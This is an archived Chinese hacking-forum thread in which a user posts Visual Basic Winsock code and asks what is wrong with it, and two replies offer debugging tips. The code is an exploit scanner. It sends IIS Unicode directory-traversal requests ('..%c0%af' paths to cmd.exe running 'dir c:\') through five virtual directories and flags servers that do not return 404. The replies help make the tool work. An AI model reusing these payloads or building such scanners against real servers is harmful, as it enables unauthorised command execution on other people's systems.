20CN网络安全小组第一代论坛: 大家帮我看看这个程序错在哪

这是在 20CN网络安全小组第一代论坛 的论坛 编程破解 中的主题 大家帮我看看这个程序错在哪。

要查看这个主题，请使用这个 URL:
http://www.20cn.net/cgi-bin/ubb/ultimatebb.cgi?ubb=get_topic;f=5;t=000204

由 syshanter 发表于 :

Private Sub Command1_Click()

Command1.Enabled = False

Label1.Caption = "正在扫描.."

Winsock1.LocalPort = 8888

Winsock1.RemoteHost = Text1.Text

Winsock1.RemotePort = 80

Winsock1.Connect

Dim cgi(6) As String
cgi(1) = "GET /scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"
cgi(2) = "GET /msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"
cgi(3) = "GET /_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"
cgi(4) = "GET /_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"
cgi(5) = "GET /cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"

Dim I As Long
For I = 1 To 5

If Winsock1.State = 0 Then Winsock1.Connect

Do While Winsock1.State <> 7

DoEvents

Loop

Winsock1.SendData cgi(I) & vbCrLf

Dim strData As String

Winsock1.GetData strData

If InStr(1, strData, "HTTP 404") = 0 Then Text3.Text = cgi(I)

Next I

Winsock1.Close

Command1.Enabled = True

End Sub

Private Sub Form_Load()

Label1.Caption = ""

Text2.Text = Winsock1.LocalIP

Text1.Text = ""
Text3.Text = ""

Command1.Caption = "扫描"

End Sub

由 ＳＫＹ 发表于 :

好象本地端口不用设定的!
Winsock1.LocalPort = 8888

由 古老传说 发表于 :

根据http协议来说，发送字符串最后应该是\r\n结束